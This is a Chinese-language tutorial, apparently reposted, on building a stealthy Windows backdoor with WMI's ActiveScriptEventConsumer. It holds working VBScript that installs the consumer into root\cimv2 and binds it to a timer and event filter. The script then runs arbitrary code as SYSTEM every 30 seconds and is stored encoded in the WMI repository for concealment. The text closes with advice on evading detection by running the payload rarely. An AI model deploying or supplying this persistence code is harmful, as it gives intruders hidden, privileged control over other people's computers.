1. 程式人生 > >利用WMI打造完美三無後門(scrcons.exe)

利用WMI打造完美三無後門(scrcons.exe)

Welcome!各位ScriptKid,歡迎來到指令碼世界。 

今天忙了一天,比較累。不廢話那麼多了,切入正題。 

這個“三無”後門的核心就是WMI中的永久事件消費者ActiveScriptEventConsumer(以下簡稱ASEC)。WMI中有許多這 類的事件消費者,簡單的來說,當與其繫結的事件到達時,消費者就會被觸發執行預先定義好的功能。例如可以用來執行二進位制程式的 CommandLineEventConsumer等等 

ASEC是WMI中的一個標準永久事件消費者。它的作用是當與其繫結的一個事件到達時,可以執行一段預先設定好的JS/VBS指令碼。 

先來看一下其原型: 

複製程式碼 程式碼如下:
class ActiveScriptEventConsumer : __EventConsumer 

uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費者的CreatorSID 只讀 
uint32 KillTimeout = 0; //指令碼允許被執行的時間 預設為0,指令碼不會被終止 
string MachineName; 
uint32 MaximumQueueSize; 
string Name; //自定義的事件消費者的名字。 
string ScriptingEngine; //用於解釋指令碼的指令碼引擎。VBScript或者JScript 
string ScriptFileName; //如果你想從一個檔案裡面讀取想執行的指令碼的話,寫上這裡吧。 
string ScriptText; //用於執行的指令碼程式碼。與ScriptFileName不共戴天。有你沒我,有我沒你 
}; 

ASEC的安裝 


對於XP以後的系統來說,ASEC已經預設安裝到了root\subscription名稱空間。我們可以直接呼叫。2000自帶有ASEC的 mof檔案,但是沒有預設安裝,需要我們自己安裝。另外由於大部分的事件都是在root\cimv2裡產生,所以如果你想直接捕獲一些系統事件作為觸發器 的話,還得在其他的名稱空間中安裝ASEC。來看一下在2000/XP/Vista下安裝ASEC到root\cimv2的程式碼。 

複製程式碼 程式碼如下:
Function InstallASECForWin2K ’安裝ASEC For Windows 2000’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換預設的名稱空間 
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 
TempMof.Write MofContent 
TempMof.close 
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE 
FSO.DeleteFile(TempMofFile) 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWin2K Install OK!" 
End Function 
Function InstallASECForWinXP ’安裝ASEC For Windows XP’ 
Dim ASECPathXP 
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接執行安裝即可 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWinXP Install OK!" 
End Function 
Function InstallASECForVista ’安裝ASEC For Windows Vista’ 
Dim ASECPath2K 
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\") 
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof") 
Set MofFile = f.OpenAsTextStream(1,-2) 
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False) 
MofContent = MofFile.Readall 
MofFile.Close 
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要刪除autorecover,否則安裝出錯
TempMofFile=ASECPath2K&"Temp.mof" 
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True) 
TempMof.Write MofContent 
TempMof.close 
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE 
FSO.DeleteFile(TempMofFile) 
ASECStatus = "Ready" 
’Wscript.Echo "ASECForWinVista Install OK!" 
End Function 

再來看一個繫結事件和ASEC的例項。 



複製程式碼 程式碼如下:
Function InstallUpdateableTrojan 
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間 
TrojanName="ScriptKids" //自定義的消費者名字,也就是你的後門的名字 
TrojanRunTimer=30000 //自定義的指令碼執行間隔 
strtxt="" //自定義的指令碼內容。為了隱蔽我們就不用scriptfilename了。會被Windows編碼後寫入CIM儲存庫 
’配置事件消費者’ 
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_ 
Asec.name=TrojanName&"_consumer" 
Asec.scriptingengine="vbscript" 
Asec.scripttext=strtxt 
set Asecpath=Asec.put_ 
’配置計時器’ 
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_ 
WMITimer.timerid=TrojanName&"_WMITimer" 
WMITimer.intervalbetweenevents=TrojanRunTimer 
WMITimer.skipifpassed=false 
WMITimer.put_ 
’配置事件過濾器’ 
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_ 
EventFilter.name=TrojanName&"_filter" 
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer""" 
EventFilter.querylanguage="wql" 
set FilterPath=EventFilter.put_ 
’繫結消費者和過濾器’ 
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_ 
Binds.consumer=Asecpath.path 
Binds.filter=FilterPath.path 
Binds.put_ 
End Function 


以上程式碼的含義就是當我們自定義的一個計時器事件發生時,會被我們所配置的事件過濾器捕獲到,並觸發與過濾器繫結的消費者,也就是我們自定義了指令碼的ASEC。達到我們每隔30秒執行一次我們自定義的指令碼的目的。很簡單吧:) 


最後要說的是,我們自定義的指令碼執行時,是由系統自帶的scrcons.exe作為指令碼宿主進行解析,而scrcons.exe是由系統以 SYSTEM許可權啟動的,也就是說,我們的指令碼是以SYSTEM許可權執行,並且其所建立的任意程序都會繼承SYSTEM許可權。美中不足的就是,每當指令碼執 行時,會平白多出一個scrcons.exe的系統程序。這也是這個指令碼後門目前最容易被發現的一個弱點。不過,當這個指令碼24小時才執行一次時,有多少 人會注意到呢?